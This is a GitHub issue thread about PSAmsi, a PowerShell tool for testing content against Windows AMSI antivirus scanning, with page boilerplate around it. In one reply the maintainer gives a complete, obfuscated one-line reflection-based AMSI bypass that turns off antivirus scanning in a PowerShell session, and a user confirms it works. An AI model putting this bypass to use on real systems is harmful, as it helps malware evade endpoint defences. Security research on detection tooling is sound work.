Comments (4)
Windows 7 does not support the AMSI. So PSAmsi will only work on Windows 10 & Server 2016.
I agree that there should be a better error message that makes this more clear. I'll leave this open until I add a more clear warning message.
from psamsi.
Yeah, Windows 2016 works for me.
GetPSAmsiScanResult
does not seem to catch exceptions, your blog says it would simply return True
or False
, but I got an exception like this,
PS c:\PSAmsi-master> $Scanner.GetPSAmsiScanResult('Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect')
At line:1 char:1
+ $Scanner.GetPSAmsiScanResult('Add-Member NoteProperty -Name VirtualPr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
Was it a problem as well?
from psamsi.
This is a fun one :)
This isn't a result of GetPSAmsiScanResult
catching exceptions or not catching exceptions. The line you are running is being detected as malicious by AMSI and is causing PSAmsi to not run at all. Of course, this is expected because you are trying to scan a known signature.
You have a few options here:
- This is one of a few reasons that I implemented a client/server architecture. You could feed the contents to be scanned from the server side, so that the 'malicious' content doesn't appear in the client-side code. Details available on the wiki: https://github.com/cobbr/PSAmsi/wiki/Standalone-Client-Server-Architecture
-
Write the 'malicious' contents to a file, and use the
GetPSAmsiScanResult
function that reads from a file: https://github.com/cobbr/PSAmsi/blob/master/PSAmsiClient.ps1#L1593 Downside here is that you might have to deal with file-based AV. -
Use the reflection-based AMSI bypass. Seems counter-intuitive, but you can use an AMSI bypass that will disable AMSI for the current PowerShell process. PSAmsi creates his own session w/ AMSI that will still work just fine even while AMSI has been bypassed within the PowerShell process. This is the AMSI bypass (credit to Matt Graeber for discovery):
[ref].Assembly.GetType('System.Management.A'+'utomation.Am'+'siUtils')."GetF`ield"('am'+'siInitF'+'ailed','NonP'+'ublic,S'+'tatic').SetValue($null,$true)
from psamsi.
Yeah, I like the 3rd solution, works like a charm 👍
from psamsi.
Related Issues (8)
- Typo in wiki:Installation and Setup HOT 1
- StackOverflowException in Get-MinimallyObfuscated HOT 2
- PSAmsi cannot obfuscate Invoke-Mimikatz.ps1 (obfuscation fails) HOT 3
- PSAmsi not returning a modified payload HOT 8
- bypass AMSI HOT 20
- No recursive lookup HOT 2
- Defender prevents PSAmsi from working, so no malicious files can be scanned without powershell error message
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from psamsi.